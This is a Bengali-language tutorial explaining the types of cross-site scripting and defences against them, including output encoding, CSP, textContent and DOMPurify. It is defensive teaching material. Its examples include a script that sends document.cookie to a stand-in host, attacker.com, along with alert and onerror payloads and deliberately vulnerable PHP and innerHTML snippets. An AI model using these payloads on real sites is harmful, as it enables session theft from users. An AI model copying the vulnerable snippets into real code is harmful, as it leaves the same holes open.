ক্রস-সাইট স্ক্রিপ্টিং (XSS): কীভাবে কাজ করে ও প্রতিরোধের উপায়
ক্রস-সাইট স্ক্রিপ্টিং (XSS) দুর্বলতার আক্রমণ পদ্ধতি, Stored, Reflected ও DOM XSS এবং কনটেক্সট এনকোডিং ও CSP ব্যবহারের পূর্ণাঙ্গ গাইড।
ওয়েব নিরাপত্তার ক্ষেত্রে ক্রস-সাইট স্ক্রিপ্টিং (Cross-Site Scripting বা XSS) অন্যতম মারাত্মক ক্লায়েন্ট-সাইড দুর্বলতা। সার্ভার-সাইড দুর্বলতা যেমন এসকিউএল ইনজেকশন সরাসরি ডাটাবেসকে টার্গেট করে, কিন্তু XSS সরাসরি অ্যাপ্লিকেশনের ব্যবহারকারী বা ভিজিটরদের টার্গেট করে। কোনো ওয়েব পেজে ক্ষতিকর জাভাস্ক্রিপ্ট কোড ঢুকিয়ে দিয়ে আক্রমণকারীরা ব্যবহারকারীর সেশন চুরি, একাউন্ট হাইজ্যাক, ব্রাউজারে কীস্ট্রোক রেকর্ড কিংবা ছদ্মবেশে অননুমোদিত অ্যাকশন চালাতে পারে।
যেকোনো ফ্রন্টএন্ড ডেভেলপার ও সিকিউরিটি প্রফেশনালের জন্য ব্রাউজারে জাভাস্ক্রিপ্ট কোড কীভাবে এক্সিকিউট হয় এবং তা কীভাবে প্রতিরোধ করতে হয় তা বোঝা অপরিহার্য।
ক্রস-সাইট স্ক্রিপ্টিংয়ের মূল কার্যপদ্ধতি
ব্রাউজারগুলো বিভিন্ন ডোমেইনের স্ক্রিপ্ট আলাদা রাখতে Same-Origin Policy (SOP) বা সম-উৎস নীতি মেনে চলে। কিন্তু একজন আক্রমণকারী যদি আপনার বৈধ ওয়েবসাইটে কোনোভাবে নিজের ক্ষতিকর জাভাস্ক্রিপ্ট ইনজেক্ট করে দিতে পারে, তবে ব্রাউজার সেই ক্ষতিকর স্ক্রিপ্টকেও আপনার ডোমেইনের বৈধ কোড হিসেবে বিবেচনা করে।
এর ফলে ক্ষতিকর স্ক্রিপ্টটি নিচের বিষয়গুলোতে পূর্ণ অ্যাক্সেস পেয়ে যায়:
localStorageবাsessionStorage-এ রাখা সেশন ও অথেনটিকেশন টোকেন।- ব্রাউজারের কুকিজ (যদি
HttpOnlyফ্ল্যাগ না থাকে)। - ডকুমেন্টের ডম (DOM), যার মাধ্যমে ফর্মের ডাটা চুরি বা ফিশিং উইন্ডো তৈরি করা যায়।
- লগইন করা ব্যবহারকারীর হয়ে এপিআই কল করা।
টোকেন ম্যানেজমেন্ট ও ব্রাউজার বাউন্ডারি সুরক্ষিত রাখতে আমাদের JWT সিকিউরিটির ভুলসমূহ এবং CORS কনফিগারেশন গাইড পড়ে দেখতে পারেন।
XSS-এর তিনটি প্রধান প্রকারভেদ
সিকিউরিটি গবেষকরা আক্রমণকারীর পে-লোড কোথা থেকে আসছে এবং কীভাবে এক্সিকিউট হচ্ছে তার ওপর ভিত্তি করে XSS-কে তিনটি ভাগে ভাগ করেন:
| XSS-এর ধরন | পে-লোডের উৎস | এক্সিকিউশন পদ্ধতি | সাধারণ আক্রমণের ক্ষেত্র |
|---|---|---|---|
| Stored (পারসিস্টেন্ট) | ডাটাবেস বা সার্ভার স্টোরেজে স্থায়ীভাবে সংরক্ষিত | যে ব্যবহারকারীই পেজটি ভিউ করে তার ব্রাউজারে রান হয় | কমেন্ট সেকশন, ফোরাম পোস্ট, ইউজার প্রোফাইল |
| Reflected (নন-পারসিস্টেন্ট) | এইচটিটিপি রিকোয়েস্ট (ইউআরএল প্যারামিটার বা ফর্ম) | সার্ভার রিকোয়েস্টের ক্ষতিকর ইনপুট সরাসরি পেজে রেন্ডার করে | সার্চ রেজাল্ট পেজ, এরর মেসেজ ডিসপ্লে |
| DOM-based | ক্লায়েন্ট-সাইড জাভাস্ক্রিপ্ট ভ্যারিয়েবল ম্যানিপুলেশন | পে-লোড সার্ভারে যায় না; পুরোটাই ব্রাউজার ডিওএম-এ রান হয় | location.hash, eval(), innerHTML |
১. Stored XSS-এর উদাহরণ
একটি ফোরামের কমেন্টে আক্রমণকারী নিচের মতো কোড পোস্ট করল:
<script>fetch('https://attacker.com/steal?c=' + document.cookie)</script>
ব্যাকএন্ড যদি এই টেক্সট সরাসরি ডাটাবেসে সেভ করে এবং এইচটিএমএল এস্কেপিং ছাড়াই অন্যান্য ভিজিটরদের দেখায়, তবে যে কেউ ওই কমেন্ট পেজে ঢুকলেই স্ক্রিপ্টটি গোপনে সেশন কুকি চুরি করে নিয়ে যাবে।
২. Reflected XSS-এর উদাহরণ
সার্চ পেজে ব্যবহারকারীর কি-ওয়ার্ড সরাসরি এইচটিএমএল-এ দেখাচ্ছে:
<p>Search results for: <?php echo $_GET['q']; ?></p>
আক্রমণকারী একটি লিংক পাঠালো: https://example.com/search?q=<script>alert(document.domain)</script>। ব্যবহারকারী এই লিংকে ক্লিক করার সাথে সাথে ব্রাউজারে ক্ষতিকর স্ক্রিপ্ট রান হয়ে যাবে।
৩. DOM-based XSS-এর উদাহরণ
জাভাস্ক্রিপ্ট কোড সার্ভারের সাথে যোগাযোগ ছাড়াই সরাসরি ইউআরএল থেকে ডেটা নিয়ে ডিওএম-এ বসায়:
// বিপজ্জনক: ডিওএম সিঙ্ক দুর্বলতা
const params = new URLSearchParams(window.location.search);
const userName = params.get('name');
document.getElementById('greeting').innerHTML = `Hello, ${userName}!`;
যেহেতু innerHTML সরাসরি এইচটিএমএল পার্স করে, তাই ?name=<img src=x onerror=alert(1)> প্যারামিটার দিলে তা তাৎক্ষণিক এক্সিকিউট হয়ে যায়।
প্রধান প্রতিরক্ষা: কনটেক্সট-অ্যাওয়ার আউটপুট এনকোডিং
XSS প্রতিরোধের এক নম্বর মূলমন্ত্র হলো কনটেক্সট-ভিত্তিক আউটপুট এনকোডিং (Context-Aware Output Encoding)। ডেটাটি ডকুমেন্টের ঠিক কোন জায়গায় বসানো হচ্ছে তার ওপর ভিত্তি করে এনকোড করতে হবে:
| কনটেক্সট | বিপজ্জনক কোড | নিরাপদ এনকোডিং পদ্ধতি |
|---|---|---|
| HTML Body | <div>USER_INPUT</div> |
&, <, >, ", এবং ' ক্যারেক্টারকে এইচটিএমএল এনটিটিতে রূপান্তর (<, > ইত্যাদি) |
| HTML Attribute | <input value="USER_INPUT"> |
অ্যাট্রিবিউট ভ্যালু কোটেশনের মধ্যে রাখা এবং বিশেষ ক্যারেক্টার এনকোড করা |
| JavaScript Variable | const data = 'USER_INPUT'; |
JSON.stringify() ব্যবহার করে ইউনিকোড এস্কেপিং নিশ্চিত করা |
| URL Parameter | <a href="/search?q=USER_INPUT"> |
encodeURIComponent() ফাংশন ব্যবহার করা |
আধুনিক ফ্রেমওয়ার্ক যেমন React, Vue এবং Angular স্বয়ংক্রিয়ভাবে ডেটা বাইন্ডিং এক্সপ্রেশনে ({userInput} বা {{ userInput }}) এইচটিএমএল এনকোডিং সম্পন্ন করে। তবে dangerouslySetInnerHTML বা v-html-এর মতো এস্কেপ হ্যাচ ব্যবহারের সময় বিশেষ সতর্কতা প্রয়োজন।
দ্বিতীয় স্তরের সুরক্ষা: কনটেন্ট সিকিউরিটি পলিসি (CSP)
আউটপুট এনকোডিংয়ের পাশাপাশি একটি শক্তিশালী Content Security Policy (CSP) হেডার ব্রাউজারের জন্য অপরিহার্য প্রাচীর হিসেবে কাজ করে:
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-rAnd0m123'; object-src 'none'; base-uri 'self';
প্রধান পলিসি নিয়ন্ত্রণসমূহ:
- ইনলাইন স্ক্রিপ্ট নিষিদ্ধ করা:
'unsafe-inline'বাদ দিলে এইচটিএমএল ট্যাগের ভেতরের কোনো স্ক্রিপ্ট বাonload/onerrorহ্যান্ডলার কাজ করবে না। - বিশ্বস্ত ডোমেইন সীমাবদ্ধকরণ: শুধুমাত্র নির্দিষ্ট নিজস্ব ডোমেইন বা অনুমোদিত সিডিএন থেকেই স্ক্রিপ্ট লোড করা যাবে।
- ননস (Nonce) ভিত্তিক এক্সিকিউশন: প্রতি রিকোয়েস্টে একটি র্যান্ডম ক্রিপ্টোগ্রাফিক কি ব্যবহার করে শুধু সার্ভারের ভেরিফাইড স্ক্রিপ্ট রান করানো হয়।
নিরাপদ ডিওএম ম্যানিপুলেশন
ক্লায়েন্ট-সাইড জাভাস্ক্রিপ্টে ডেটা দেখানোর সময় এমন প্রোপার্টি ব্যবহার করতে হবে যা ইনপুটকে কোড হিসেবে নয়, কেবল সাধারণ টেক্সট হিসেবে দেখে:
// নিরাপদ: innerHTML-এর বদলে textContent ব্যবহার করুন
const greetingEl = document.getElementById('greeting');
greetingEl.textContent = `Hello, ${userName}!`;
// নিরাপদ: অ্যাট্রিবিউট সেটার ব্যবহার
const avatarEl = document.getElementById('avatar');
avatarEl.setAttribute('alt', userBio);
যদি অ্যাপ্লিকেশনটিতে ব্যবহারকারীর রিচ টেক্সট (যেমন Markdown) রেন্ডার করার প্রয়োজন হয়, তবে DOMPurify লাইব্রেরি দিয়ে স্যানিটাইজ করে নিতে হবে:
import DOMPurify from 'dompurify';
const rawHtml = marked.parse(userMarkdown);
const cleanHtml = DOMPurify.sanitize(rawHtml);
document.getElementById('content').innerHTML = cleanHtml;
নিরাপত্তা অডিট চেকলিস্ট
প্রোডাকশনে সাইট রিলিজ করার আগে নিচের পয়েন্টগুলো মিলিয়ে নিন:
- এইচটিএমএল টেমপ্লেটে প্রদর্শিত সকল ডায়নামিক ডেটা যথাযথভাবে এনকোড করা হয়েছে।
- DOMPurify স্যানিটাইজেশন ছাড়া কোথাও
innerHTMLবাdocument.write()ব্যবহার করা হয়নি। - ফ্রেমওয়ার্কের ঝুঁকিপূর্ণ ফিচার (
dangerouslySetInnerHTML,v-html) পরিহার করা হয়েছে। - রেসপন্স হেডারে কঠোর CSP পলিসি কার্যকর রয়েছে (
unsafe-inlineছাড়া)। - সেশন কুকিতে
HttpOnly,SecureএবংSameSite=Strictফ্ল্যাগ যুক্ত রয়েছে।
সারসংক্ষেপ
ব্রাউজার যখন ব্যবহারকারীর অবিশ্বস্ত ইনপুটকে এক্সিকিউটেবল কোড মনে করে, তখনই ক্রস-সাইট স্ক্রিপ্টিং ঘটে। আউটপুট এনকোডিং, নিরাপদ ডিওএম এপিআই, DOMPurify স্যানিটাইজার এবং কার্যকর CSP হেডারের সমন্বয়ে একটি শক্তিশালী মাল্টি-লেয়ার ডিফেন্স তৈরি করে XSS আক্রমণ সম্পূর্ণ নিষ্ক্রিয় করা সম্ভব।
তথ্যসূত্র: OWASP Top 10 Web Application Security Risks, OWASP Cross-Site Scripting Prevention Cheat Sheet, W3C Content Security Policy Level 3 Specification, CWE-79 (মূল্যায়ন নভেম্বর ২০২৬)।
